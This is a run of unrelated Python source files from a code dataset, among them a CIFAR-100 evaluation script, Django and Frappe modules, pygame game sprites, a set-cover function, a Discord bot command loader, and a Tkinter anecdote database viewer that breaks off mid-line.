print(torch.cuda.memory_summary(), end='')\n\n #print(label,total)\n output = net(image)\n _, pred = output.topk(5, 1, largest=True, sorted=True)\n correct_label = classes[label[0]]\n label = label.view(label.size(0), -1).expand_as(pred)\n correct = pred.eq(label).float()\n _,predicted = torch.max(output.data,1)\n if classes[predicted[0]] == correct_label:\n ground_truth+=1\n #print('Predicted: ', ' '.join('%5s' % classes[predicted[j]] for j in range(1)))\n #print(output,\"\\n******\\n\",predicted,\"\\n******\\n\",pred,\"\\n******\\n\",label)\n #compute top 5\n #if label == predicted:\n #correctness += (predicted == label).sum().item()\n #print(label[0])\n #print(\"matched\",' '.join('%5s' % classes[label[0][j]] for j in range(4)))\n #print(label)\n correct_5 += correct[:, :5].sum()\n\n #compute top1\n correct_1 += correct[:, :1].sum()\n #print(Correct_1)\n\n if args.gpu:\n print('GPU INFO.....')\n print(torch.cuda.memory_summary(), end='')\n\n print()\n print(\"Top 1 accuracy: \", correct_1 / len(cifar100_test_loader.dataset))\n print(\"Top 5 accuracy: \", correct_5 / len(cifar100_test_loader.dataset))\n print(\"Parameter numbers: {}\".format(sum(p.numel() for p in net.parameters())))\n print(\"Ground truth \", ground_truth)\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument('-net', type=str, required=True, help='net type')\n parser.add_argument('-weights', type=str, required=True, help='the weights file you want to test')\n parser.add_argument('-gpu', action='store_true', default=False, help='use gpu or not')\n parser.add_argument('-b', type=int, default=16, help='batch size for dataloader')\n args = parser.parse_args()\n\n\n cifar100_test_loader,classes = get_test_dataloader(\n settings.CIFAR100_TRAIN_MEAN,\n settings.CIFAR100_TRAIN_STD,\n #settings.CIFAR100_PATH,\n num_workers=1,\n batch_size=1,\n )\n models = args.weights.split(\" \")\n networks = args.net.split(\" \")\n print(models, networks, classes)\n for i in range(len(models)):\n args.net = networks[i]\n net = get_network(args)\n #print(net)\n #print(summary(net,batch_size=-1, device='cuda'))\n model = models[i]\n evaluate(model,net,classes)\n\n\n","sub_path":"pytorch-cifar100/evaluate-all.py","file_name":"evaluate-all.py","file_ext":"py","file_size_in_byte":3490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"136075191","text":"# -*- coding: utf-8 -*-\n# Copyright (c) 2021, Quantum Bit Core and contributors\n# For license information, please see license.txt\n\nfrom __future__ import unicode_literals\nimport frappe\nfrom frappe.model.document import Document\nfrom restaurant_management.setup import install\nfrom erpnext.stock.get_item_details import get_pos_profile\n\n\nclass RestaurantSettings(Document):\n def on_update(self):\n frappe.publish_realtime(\"update_settings\")\n\n def settings_data(self):\n profile = frappe.db.get_value(\"User\", frappe.session.user, \"role_profile_name\")\n restaurant_settings = frappe.get_single(\"Restaurant Settings\")\n\n return dict(\n pos=self.pos_profile_data(),\n permissions=dict(\n invoice=frappe.permissions.get_doc_permissions(frappe.new_doc(\"Sales Invoice\")),\n order=frappe.permissions.get_doc_permissions(frappe.new_doc(\"Table Order\")),\n restaurant_object=frappe.permissions.get_doc_permissions(frappe.new_doc(\"Restaurant Object\")),\n ),\n restrictions=restaurant_settings,\n exceptions=[item for item in restaurant_settings.restaurant_permissions if item.role_profile == profile],\n lang=frappe.session.data.lang\n )\n\n @staticmethod\n def pos_profile_data():\n pos_profile = get_pos_profile(frappe.defaults.get_user_default('company'))\n\n return dict(\n has_pos=pos_profile is not None,\n pos=None if pos_profile is None else frappe.get_doc(\"POS Profile\", pos_profile.name)\n )\n\n\n@frappe.whitelist()\ndef reinstall():\n install.after_install()\n","sub_path":"restaurant_management/restaurant_management/doctype/restaurant_settings/restaurant_settings.py","file_name":"restaurant_settings.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"167718881","text":"VERSION_MAJOR = 0\nVERSION_MINOR = 0\nVERSION_BUILD = 1\nVERSION_INFO = (VERSION_MAJOR, VERSION_MINOR, VERSION_BUILD)\nVERSION_STRING = \"%d.%d.%d\" % VERSION_INFO\nAUTHOR_NAME = \"Thibault Le Meur\"\nDESCRIPTION = \"Collection of widgets for Flask-Appbuilder\"\nAUTHOR_EMAIL = \"t.lemeur@gmail.com\"\n\n__version__ = VERSION_INFO\n\n","sub_path":"build/lib/fab_addon_turbowidgets/version.py","file_name":"version.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"500325546","text":"#!/usr/bin/python\n\nimport time\nimport datetime\n#import Settings\nimport threading\nimport logging\n\nlog = logging.getLogger('root')\n\n#import RPi.GPIO as GPIO\n\n#GPIO.setmode(GPIO.BCM)\n#pin =\n#GPIO.setup(pin, GPIO.OUT)\n\n\nclass Alarm(threading.Thread):\n\n def __init__(self):\n threading.Thread.__init__(self)\n self.stopping = False\n self.nextAlarm = None\n\n\n def stop(self):\n log.info(\"Alarm is stopping\")\n self.stopping = True\n\n\n def soundAlarm(self):\n log.info(\"Alarm triggered\")\n\t #self.media.soundAlarm()\n\t #timeout = 10 #\n\t #self.alarmTimeout = timeout\n\n def run(self):\n while(not self.stopping):\n\t now = datetime.datetime.now()\n\n if(self.nextAlarm is not None and self.nextAlarm < now):\n\t\t self.soundAlarm()","sub_path":"Alarm.py","file_name":"Alarm.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"593302809","text":"from django.db import models\n\n\n# Create your models here.\nfrom django.contrib.auth.models import User\nfrom django.contrib import admin\n\n\n# Used for displaying the barchart of daily MKS num \nclass DailyProgress(models.Model):\n remaining_MKS = models.IntegerField(null=False)\n reporting_date = models.DateField(unique=True, null=False)\n \n def __unicode__(self):\n return self.reporting_date.isoformat()\n\n# Customized the Django Admin Frontend\nclass DailyProgressAdmin(admin.ModelAdmin):\n date_hierarchy = 'reporting_date'\n list_display = ('reporting_date', 'remaining_MKS')\n","sub_path":"mysite/main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"91129730","text":"import random\nimport pygame\n\n\nclass Zombie(pygame.sprite.Sprite):\n def __init__(self):\n super(Zombie, self).__init__()\n self.image = pygame.image.load(\"../pvz/png/Zombie/pt/Zombie_000.png\").convert_alpha()\n self.images = [pygame.image.load(\"../pvz/png/Zombie/pt/Zombie_0{:02d}.png\".format(i)).convert_alpha() for i\n in range(0, 47)]\n self.dieimages = [pygame.image.load(\"../pvz/png/Zombie/die/Zombie_{:03d}.png\".format(i)).convert_alpha() for i\n in range(134, 172)]\n self.attack_images = [pygame.image.load(\"../pvz/png/Zombie/pt/Zombie_{:03d}.png\".format(i)).convert_alpha() for\n i\n in range(94, 133)]\n self.rect = self.images[0].get_rect()\n self.rect.top = 50 + random.randrange(0, 5) * 96\n self.energy = 10\n self.rect.left = 820\n self.speed = 1\n self.dietimes = 0\n self.GOGO = False\n self.Alive = True\n\n def update(self, *args, **kwargs) -> None:\n if self.energy > 0:\n if self.GOGO:\n self.image = self.attack_images[args[0] % len(self.attack_images)]\n else:\n self.image = self.images[args[0] % len(self.images)]\n if self.rect.left > -120 and not self.GOGO:\n self.rect.left -= self.speed\n else:\n if self.dietimes < 38:\n self.image = self.dieimages[self.dietimes]\n self.dietimes += 1\n else:\n if self.dietimes == 38:\n self.Alive = False\n self.kill()\n","sub_path":"pvz/zombie/Zombie.py","file_name":"Zombie.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"31827964","text":"def commons(universal_set, set):\n num_of_commons = 0\n for univ_el in universal_set:\n for el in set:\n if univ_el == el:\n num_of_commons += 1\n return num_of_commons\n\n\ndef set_diff(a, b):\n diff = []\n for a_el in a:\n has_common = False\n for b_el in b:\n if a_el == b_el:\n has_common = True\n break\n if not has_common:\n diff.append(a_el)\n return diff\n\n\ndef set_cover(universal_set, set_of_sets):\n solution_sets = []\n while len(universal_set) != 0:\n best_set = set_of_sets[0]\n best_commons_num = commons(universal_set, set_of_sets[0])\n for i in range(1, len(set_of_sets)):\n set = set_of_sets[i]\n num_of_commons = commons(universal_set, set)\n if num_of_commons > best_commons_num:\n best_set = set\n best_commons_num = num_of_commons\n universal_set = set_diff(universal_set, best_set)\n solution_sets.append(best_set)\n print(solution_sets)\n\n\nuniversal_set = [1, 2, 3, 4, 5, 6, 7, 8]\nset_of_sets = [[1, 2], [7, 8], [2, 3, 4, 5, 6, 7], [1, 2, 3, 4], [5, 6, 7, 8], [5, 6, 7]]\nset_cover(universal_set, set_of_sets)\n\n# time complexity: O(Σ of all S ∈ F: |S|) where F is a family of subsets of X,\n# such that every element of X belongs to at least one subset in F, where X is\n# a finite set referred to as the universal set\n","sub_path":"set-cover.py","file_name":"set-cover.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"130278680","text":"#Module commands: tools to import all modules from specific path, command engine and event engine\nimport importlib, os, utils, discord, difflib\nevents = {}\ncommands = {}\nmodules = {}\nbanned = ['__pycache__']\n\nclass ImportTools():\n def __init__(self, path=\"commands/\"):\n self.path = path\n def ImportFromPath(self):\n for pl in os.listdir(self.path):\n if pl not in banned:\n path = pl.replace(\".py\", \"\")\n spec = importlib.util.spec_from_file_location(path, \"{}{}\".format(self.path, pl))\n foo = importlib.util.module_from_spec(spec)\n modules.update({path:foo})\n spec.loader.exec_module(foo)\n def dynamic_reload(self, module):\n for k, v in modules.items():\n if k == module:\n modules.update({k:importlib.reload(v)})\n def reload_all(self, ):\n for k, v in modules.items():\n modules.update({k:importlib.reload(v)})\n def dynamic_import(self, module):\n spec = importlib.util.spec_from_file_location(module, \"{}{}.py\".format(self.path, module))\n foo = importlib.util.module_from_spec(spec)\n modules.update({module:foo})\n spec.loader.exec_module(foo)\nclass Event(object):\n def SetEvent(self, event, s, *args):\n if events.get(event) == None:\n return\n for d in events.get(event):\n for func, types in d.items():\n req = types[\"require\"]\n typeof = types[\"type\"]\n if typeof == \"sync\":\n if req == \"default\":\n func(*args)\n elif req == \"self\":\n func(s, *args)\n elif typeof == \"async\":\n if req == \"default\":\n utils.awaiter(func(*args))\n elif req == \"self\":\n utils.awaiter(func(s, *args))\n def event(self, event, require=\"default\", type=\"sync\"):\n def func_wrap(func):\n if event not in events.keys():\n events.update({event:[{func:{\"require\":require, \"type\":type}}]})\n else:\n events.get(event).append({func:{\"require\":require, \"type\":type}})\n return func_wrap\nclass Command(object):\n def event(self, command, require=\"default\", type=\"sync\", aliases=[]):\n def func_wrap(func):\n if command not in commands.keys():\n commands.update({command:[{func:{\"require\":require, \"type\":type}}]})\n for alias in aliases:\n commands.update({alias:[{func:{\"require\":require, \"type\":type}}]})\n else:\n commands.get(command).append({func:{\"require\":require, \"type\":type}})\n return func_wrap\ndef SetCommand(command, args, s):\n cmds = commands.keys()\n if command in cmds:\n msg = s[Locals.message]\n for d in commands.get(command):\n for func, types in d.items():\n typ = types[\"type\"]\n req = types[\"require\"]\n # Check if LS flag in message\n if args != None and args[-1] == \"!ls\":\n del args[-1]\n ls_flag = True\n # Then set args to None back\n if len(args) == 0:\n args = None\n else:\n ls_flag = False\n if typ == \"sync\":\n if req == \"dafault\":\n result = func(args)\n elif req == \"self\":\n result = func(s, args)\n elif req == \"message\":\n result = func(s[\"message\"], args)\n elif req == \"client\":\n result = func(s[\"client\"], args)\n else:\n result = func(args)\n utils.syncsender(command, msg, result, ls_flag=ls_flag)\n elif typ == \"async\":\n if req == \"dafault\":\n utils.awaiter(func(args))\n elif req == \"self\":\n utils.awaiter(func(s, args))\n elif req == \"messgae\":\n utils.awaiter(func(s[\"message\"], args))\n elif req == \"client\":\n utils.awaiter(func(s[\"client\"], args))\n else:\n SimillarList = difflib.get_close_matches(command, cmds)\n if len(SimillarList) >= 1:\n return SetCommand(SimillarList[0], args, s) \n return\n# Function to compare that all modules are descriped in packages.json at runtime\ndef compare():\n import settings\n settings = settings.settings(\"packages.json\")\n print(settings)\n for key in commands.keys():\n if key not in settings.keys():\n print(key)\nclass Locals:\n client = \"client\"\n message = \"message\"","sub_path":"commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":4901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"373103142","text":"''' Configuration file for the program '''\n\nREGION = 'EUW'\nLOCALE = 'en_GB'\n\nRIOT_CLIENT_SERVICES_PATH = 'E:/Riot Games/Riot Client/RiotClientServices.exe'\nLEAGUE_CLIENT_PATH = 'E:/Riot Games/League of Legends/LeagueClient.exe'\nLEAGUE_CLIENT_PROCESS = 'LeagueClient.exe'\nRIOT_CLIENT_PROCESS = 'RiotClientServices.exe'\nRIOT_CLIENT_CONFIG = '~/AppData/Local/Riot Games/Riot Client/Config'\n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"379076633","text":"import pygame\n\nclass Button:\n DARK_GREY = (29,29,29)\n\n def __init__(self, screen, x, y, width, height, text=\"\", color=(DARK_GREY), hover=()):\n self.screen = screen \n self.clicked = False\n\n self.height = height\n self.width = width\n self.text = text \n self.color = color\n\n self.hover = (color[0] + 10, color[1] + 10, color[2] + 10)\n\n self.x = x\n self.y = y\n \n self.font = pygame.font.SysFont(\"Arial\", 30)\n self.rect = pygame.Rect(x, y, width, height)\n self.rect.topleft = (x, y)\n \n def collides(self, pos):\n return self.rect.collidepoint(pos)\n\n def draw(self):\n color = self.color\n if self.collides(pygame.mouse.get_pos()):\n color = self.hover\n pygame.draw.rect(self.screen, color, self.rect)\n\n if len(self.text):\n text_img = self.font.render(self.text, True, (255,255,255))\n text_rect = text_img.get_rect(center=(self.rect.topleft[0] + (self.width // 2), self.rect.topleft[1] + (self.height // 2)))\n\n self.screen.blit(text_img, text_rect)\n","sub_path":"tictactoe/src/buttons/button.py","file_name":"button.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"138312783","text":"from CRABClient.UserUtilities import config, getUsernameFromSiteDB\nconfig = config()\n\nconfig.General.requestName = 'NMSSM_XYH_bbbb_MX_300_MY_60_RECO_Run2016_v1'\nconfig.General.workArea = 'crab_projects_NMSSM_XYH_bbbb_MCproduction_RECO_Run2016_v1'\nconfig.General.transferOutputs = True\nconfig.General.transferLogs = False\nconfig.JobType.maxMemoryMB = 8000\n\nconfig.JobType.pluginName = 'Analysis'\nconfig.JobType.psetName = 'NMSSM_XYH_bbbb_RECO_cfg.py'\n\nconfig.Data.inputDBS = 'phys03'\nconfig.Data.inputDataset = '/NMSSM_XYH_bbbb_MX_300_MY_60_madgraph242/fravera-crab_NMSSM_XYH_bbbb_MX_300_MY_60_DIGI_Run2016_v2-16ca0fac1b892ff3c3d45d801745cbbf/USER'\nconfig.Data.splitting = 'FileBased'\nconfig.Data.publication = True\nconfig.Data.unitsPerJob = 1\nconfig.Data.outLFNDirBase = '/store/user/%s/NMSSM_XYH_bbbb_RECO/' % (getUsernameFromSiteDB())\nconfig.Data.outputDatasetTag = 'crab_NMSSM_XYH_bbbb_MX_300_MY_60_RECO_Run2016_v1'\n\nconfig.Site.storageSite = 'T3_US_FNALLPC'\nconfig.JobType.numCores = 4\n\n","sub_path":"NMSSM/bbbb_Files/crab_NMSSM_XYH_bbbb_MX_300_MY_60_RECO_cfg.py","file_name":"crab_NMSSM_XYH_bbbb_MX_300_MY_60_RECO_cfg.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"642346872","text":"from django.conf.urls import url\nfrom django_cas_ng.views import login, logout\nfrom pages.views import *\n\nurlpatterns = [\n url(r'^$', home_page, name='home'),\n url(r'^home$', home_page),\n url(r'^events$', events_page, name='events'),\n url(r'^minecraft$', minecraft_page, name='minecraft'),\n url(r'^contact$', contact_page, name='contact'),\n url(r'^auth$', auth_page),\n url(r'^login$', login, name='login'),\n url(r'^logout$', logout, name='logout'), \n]\n","sub_path":"pages/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"526075722","text":"import struct\nimport sys\n\nregistroCEP = struct.Struct(\"72s72s72s72s2s8s2s\")\ncepColumn = 5\nf = open(\"cep_ordenado.dat\",\"rb\")\nf.seek(0, 2)\ntamanhoBytes = f.tell()\ninicio = 0\nfim = tamanhoBytes//registroCEP.size\ncepProc = b'22725031'\ncounter = 0\n\nwhile( inicio < fim):\n\tcounter+=1\n\tmeio = (inicio+fim)//2\n\tf.seek(meio,0)\n\tline = f.read(registroCEP.size)\n\trecord = registroCEP.unpack(line)\n\tprint(record[cepColumn])\n\tif record[cepColumn] < cepProc:\n\t\tinicio = meio + 1\n\telif record[cepColumn] > cepProc:\n\t\tfim = meio - 1\n\telse:\n\t\tprint(record[0])\n\t\tbreak\n\nf.close()\nprint(counter)\n\n","sub_path":"buscabi.py","file_name":"buscabi.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"528667098","text":"import os\nimport yaml\nimport keras\nimport builtin_models.utils as utils\n\nFLAVOR_NAME = \"keras\"\nMODEL_FILE_NAME = \"model.h5\"\n\n\ndef _get_default_conda_env():\n import tensorflow as tf\n return utils.generate_conda_env(\n additional_pip_deps=[\n \"keras=={}\".format(keras.__version__),\n \"tensorflow=={}\".format(tf.__version__),\n ])\n\n\ndef load_model_from_local_file(path):\n from keras.models import load_model\n return load_model(path)\n\n\ndef save_model(keras_model, path='./model/', conda_env=None):\n \"\"\"\n Save a Keras model to a path on the local file system.\n\n :param keras_model: Keras model to be saved. \n\n :param path: Path to a directory containing model data.\n \n :param conda_env: Either a dictionary representation of a Conda environment or the path to a conda environment yaml file. \n \"\"\"\n if(not path.endswith('/')):\n path += '/'\n if not os.path.exists(path):\n os.makedirs(path)\n\n keras_model.save(os.path.join(path, MODEL_FILE_NAME)) \n\n if conda_env is None:\n conda_env = _get_default_conda_env()\n utils.save_conda_env(path, conda_env)\n\n utils.save_model_spec(path, FLAVOR_NAME, MODEL_FILE_NAME)\n utils.generate_ilearner_files(path) # temp solution, to remove later\n\n ","sub_path":"builtin-models/builtin_models/keras.py","file_name":"keras.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"18094961","text":"from pico2d import * # C:\\Users\\enjcat\\AppData\\Local\\Programs\\Python\\Python36\\lib\\site-packages\\pico2d\nimport game_framework\nimport random\nimport game_world\nimport random\nimport Wepon\n\n\ndicts = {0:Wepon.stick,1:Wepon.sword,2:Wepon.ice,3:Wepon.fire,4:Wepon.wand,5:Wepon.heal}\n\nclass Tower:\n def __init__(self):\n print(\"Creating..\")\n self.image = load_image('./res/popmap.png')\n self.x = 150\n self.y = 150\n self.frame = 0\n self.speed = 3\n self.on = 0\n def draw(self):\n self.image.clip_draw(int(self.frame) * 200, 0, 200, 200, get_canvas_width()/2, get_canvas_height()/2)\n def update(self):\n if(self.on == 1):\n self.frame = self.frame + 0.2\n if self.frame >= 4:\n self.on = 0\n rand = random.randint(0,100)\n if(rand < 40):\n game_world.add_object(dicts[5](),game_world.layer_obstacle)\n elif(rand < 65):\n game_world.add_object(dicts[0](),game_world.layer_obstacle)\n elif(rand < 85):\n game_world.add_object(dicts[1](),game_world.layer_obstacle)\n elif(rand < 92):\n game_world.add_object(dicts[2](),game_world.layer_obstacle)\n elif(rand < 99):\n game_world.add_object(dicts[3](),game_world.layer_obstacle)\n elif(rand < 100):\n game_world.add_object(dicts[4](),game_world.layer_obstacle)\n if(self.on == 0 and self.frame > 0):\n self.frame -= 0.2\n\n def pop(self):\n self.on = 1\n\n\n \n\n\n\n\n","sub_path":"3-2/2D게임프로그래밍/2Dgame/term/Holy.py","file_name":"Holy.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"60732540","text":"import threading\nimport wget\nimport os\nimport re\nfrom urllib import request\n\n\ndef down_data(url, fname):\n html = request.urlopen(url)\n with open(fname, 'wb') as fobj:\n while True:\n data = html.read(1024)\n if not data:\n break\n fobj.write(data)\n\n\ndef url_list(fname, patt, encoding=None):\n urls = []\n cpatt = re.compile(patt)\n with open(fname) as fobj:\n for line in fobj:\n\n for m in cpatt.finditer(line):\n urls.append(m.group())\n return urls\n\n\ndef wget_data(url, dest):\n wget.download(url, dest)\n\n\nif __name__ == '__main__':\n url = 'http://www.ifeng.com'\n fname = '/tmp/ifeng.html'\n patt = '(http|https)://[-\\w./_]+\\.(png|jpg|jpeg|gif)'\n encode = ''\n # down_data(url, fname)\n urls = url_list(fname, patt, None)\n print(len(urls))\n dest = '/tmp/ifeng/'\n if not os.path.exists(dest):\n os.mkdir(dest)\n for u in urls:\n print(u)\n t = threading.Thread(wget_data(u, dest))\n t.start()\n","sub_path":"devops/day3/thread_wget.py","file_name":"thread_wget.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"462573471","text":"from tkinter import *\nfrom psgsql import *\nfrom tkinter import messagebox\nimport random\nimport time\nimport config\nimport difftexts as diff\nimport datetime\nfrom itertools import chain\n\n# ================= Interface parameters =======================\ntitle_string = \"Anecdotes\"\nwin_geometry = \"900x600+10+10\"\nbg_of_view_area = \"powder blue\"\nfg_of_view_area = \"Steel Blue\"\ntitle_font = (\"arial\", 30, \"bold\")\ninfo_font = (\"arial\", 10)\ntext_font = (\"arial\", 14)\nbg_of_edit_area = \"pink\"\nfg_of_edit_area = \"Steel Blue\"\n\n# ================= Functions ==================================\n\n\ndef close(event=None):\n root.destroy()\n print(\" Exiting...\")\n exit()\n\n\ndef tick(lbl):\n \"\"\"\n Display current time in lbl\n :param lbl:\n :return:\n \"\"\"\n # get the current local time\n localtime = time.strftime(\"%a, %d %b %Y %H:%M:%S %z\", time.localtime(time.time()))\n lbl.config(text=localtime)\n # calls itself every 200 milliseconds\n # to update the time display as needed\n # could use >200 ms, but display gets jerky\n lbl.after(200, tick, lbl)\n\n# ==================== Classes ================================\n\nclass ListBoxChoice(object):\n def __init__(self, parent_window, data):\n self.master = parent_window\n self.data = data\n self.view_bg = \"powder blue\"\n self.edit_bg = \"pink\"\n self.fg = \"Steel Blue\"\n self.listfg = \"black\"\n self.text_font = (\"arial\", 14)\n self.list_font = (\"arial\", 15, \"bold\")\n self.qtywin = qtyInfo\n self.new = False\n self.key = 0\n self.after_check = False\n self.oldkey = 0\n self.listframe = Frame(self.master)\n self.listframe.pack(side=LEFT, fill=Y)\n self.listframe.tk_focusFollowsMouse()\n self.listscrollbar = Scrollbar(self.listframe)\n self.listscrollbar.pack(side=RIGHT, fill=Y)\n self.listbox = Listbox(self.listframe, font=self.list_font, fg=self.listfg, bg=self.view_bg, bd=5, width=5)\n self.listbox.pack(side=LEFT, fill=Y)\n self.listscrollbar.config(command=self.listbox.yview)\n self.listbox.config(yscrollcommand=self.listscrollbar.set)\n self.textframe = Frame(self.master)\n self.textframe.pack(side=RIGHT, fill=Y)\n self.textbox = Text(self.textframe, font=self.text_font, wrap='word', bg=self.edit_bg, bd=5, width=72)\n self.textbox.pack(side=LEFT, fill=Y, padx=0, pady=0)\n self.textscrollbar = Scrollbar(self.textframe)\n self.textscrollbar.pack(side=RIGHT, fill=Y)\n self.textscrollbar.config(command=self.textbox.yview)\n self.textbox.config(yscrollcommand=self.textscrollbar.set)\n self._qty(self.qtywin)\n self._build_listbox()\n self.master.bind(\"\", self._view)\n self.master.bind(\"\", self._view)\n self.master.bind(\"\", self._view)\n self.master.bind(\"\", self._view)\n self.master.bind(\"\", self._view)\n self.listbox.bind('', self._delete)\n # viewBtn.config(command=self._view)\n newBtn.config(command=self._add)\n editBtn.config(command=self._edit)\n deleteBtn.config(command=self._delete)\n searchBtn.config(command=self._search)\n checkDbBtn.config(command=self._checkDB)\n AllBtn.config(command=self._all)\n\n\n def _qty(self, lbl):\n \"\"\"\n How much items selected from the DataBase\n :param lbl:\n :return:\n \"\"\"\n self.qty_string = f\"There are {self.data.len()} items in the DataBase\"\n lbl.config(text=self.qty_string)\n\n def _build_listbox(self):\n # print(\"Building listbox!...\\n keys = \", self.key, self.oldkey)\n self.listbox.delete(0, END) # Очистка списка анекдотов\n self.fltr = searchWin.get()\n if self.fltr:\n self.fltr = [('anecdote', self.fltr)] # Считывание подстроки из окна searchWin\n if not self.after_check:\n self.lst = sorted(self.data.keys(self.fltr)) # Получение списка ключей для отображениея\n self.len = len(self.lst)\n #print(self.lst)\n if self.len > 0:\n # Словарь, где ключ - id отобранных анекдотов, а значение - порядковый номер\n self.dct = {self.lst[i]: i for i in range(self.len)}\n #\n for item in self.lst:\n self.listbox.insert(END, item)\n if self.new:\n self.dct = {self.lst[i]: i for i in range(self.len)}\n self.new = False\n else:\n self.key = random.choice(self.lst)\n print(self.key)\n self._sel()\n self._view()\n else:\n # Если список пуст, ничего не делаем\n self.key = 0\n self._qty(self.qtywin)\n\n def _add(self):\n print(\"_add: key=\", self.key)\n self.new = True\n self.oldkey = self.key\n self.key = 0\n self._edit()\n\n def _edit(self):\n # print(\"_edit: key=\", self.key)\n self.Edit = Toplevel(self.master)\n self.master.attributes('-disabled', 1)\n self.Edit.transient(self.master)\n self.Edit.title(\"Editing.....\")\n self.tmp_panel = Frame(self.Edit, height=50, width=800, bg=self.view_bg)\n self.tmp_panel.pack(side='top', fill='x')\n self.tmp_textbox = Text(self.Edit, font=self.text_font, wrap='word', bg=self.edit_bg,\n bd=5, width=72)\n self.tmp_textbox.pack(side=LEFT, fill=Y, padx=0, pady=0)\n self.saveBtn = Button(self.tmp_panel, text='Save', command=self._save)\n self.saveBtn.place(x=10, y=10, width=40, height=40)\n self.cancelBtn = Button(self.tmp_panel, text='Cancel', command=self._cancel)\n self.cancelBtn.place(x=50, y=10, width=40, height=40)\n self.tmp_textbox.configure(state=\"normal\")\n self.tmp_textbox.delete('1.0', 'end')\n if self.key > 0:\n self.value = self.data.get(self.key)\n self.tmp_textbox.insert('1.0', self.value['anecdote'])\n\n\n def _cancel(self):\n # print(\"_cancel: key=\", self.key)\n if messagebox.askyesno(\"Edit\", \"All changes will be lost Are you sure?\", default=\"no\"):\n self.new = False\n self.Edit.destroy()\n self.master.attributes('-disabled', 0)\n if self.key == 0 and self.oldkey != 0:\n self.key = self.oldkey\n self.oldkey = 0\n self._view()\n\n def _save(self):\n # print(\"_save: key=\", self.key)\n if messagebox.askyesno(\"Edit\", \"All changes will be saved Are you sure?\", default=\"no\"):\n edited = self.tmp_textbox.get('1.0', 'end')\n if self.key == 0:\n record = Record({config.anecdot_params['value_column']: edited})\n self.key = self.data.add(record)\n\n else:\n record = Record({config.anecdot_params['key_column']: self.key,\n config.anecdot_params['value_column']: edited})\n self.key = self.data.update(record)\n # print(\"_save: key=\", self.key)\n self.oldkey = 0\n if self.new:\n self._build_listbox()\n # self.tmp_textbox.destroy()\n self.Edit.destroy()\n self.master.attributes('-disabled', 0)\n self.listbox.focus_force()\n self._view()\n return\n\n def _delete(self, event=None):\n # print(\"_delete: key=\", self.key)\n if messagebox.askyesno(\"Delete\", \"Are you sure?\", default=\"no\"):\n self.idx = self.listbox.curselection()[0]\n self.key = self.lst[int(self.idx)]\n # print(\"Delete: \", self.key)\n self.data.delete(self.key)\n self.textbox.configure(state=\"normal\")\n self.textbox.delete('1.0', 'end')\n self.textbox.configure(state=\"disabled\")\n self._build_listbox()\n\n def _view(self, event=None):\n # print(\"_view: key= \", self.key, self.new)\n if not self.new:\n selection = self.listbox.curselection()\n if self.len > 0 and len(selection) > 0:\n self.idx = selection[0]\n self.key = self.lst[int(self.idx)]\n\n self.value = self.data.get(self.key)\n self.textbox.configure(state=\"normal\")\n self.textbox.delete('1.0', 'end')\n if self.value is not None:\n creation_date = self.value['creationdate'] if self.value['creationdate'] is not None else None\n CreationTime.config(text=f\"Creation Date: {creation_date}\")\n Votes.config(text=f\"Votes: {self.value['votes']}\")\n Rating.config(text=f\"Rating: {self.value['rating']}\")\n self.textbox.insert('1.0', self.value['anecdote'])\n self.textbox.configure(state=\"disabled\")\n self.new = False\n\n def _sel(self):\n \"\"\"\n Установка курсора на элементе, соответствующем self.key при запуске программы\n :return:\n \"\"\"\n self.ind = self.dct.get(self.key)\n print(\"_sel: \", self.key, self.ind)\n self.listbox.see(self.ind)\n self.listbox.activate(self.ind)\n # self.listbox.selection_anchor(self.ind)\n self.listbox.selection_set(self.ind)\n self.listbox.focus_set()\n\n def _search(self):\n self.textbox.configure(state=\"normal\")\n self.textbox.delete('1.0', 'end')\n self.textbox.configure(state=\"disable\")\n self._build_listbox()\n\n def _checkDB(self):\n #\n # Looking for dublicates\n #\n all = self.data.getall()\n dublicates = [(i['id'], k['id']) for i in all for k in all if i['id'] > k['id']\n and diff.compareText(i['anecdote'], k['anecdote'])]\n if len(dublicates) > 0:\n self.after_check = True\n print(dublicates)\n self.lst = list(chain.from_iterable(dublicates))\n self._build_listbox()\n\n def _all(self):\n self.after_check = False\n searchWin.delete(0, 'end')\n self._build_listbox()\n\n\n# ================================== Main ===============================================\n\nif __name__ == 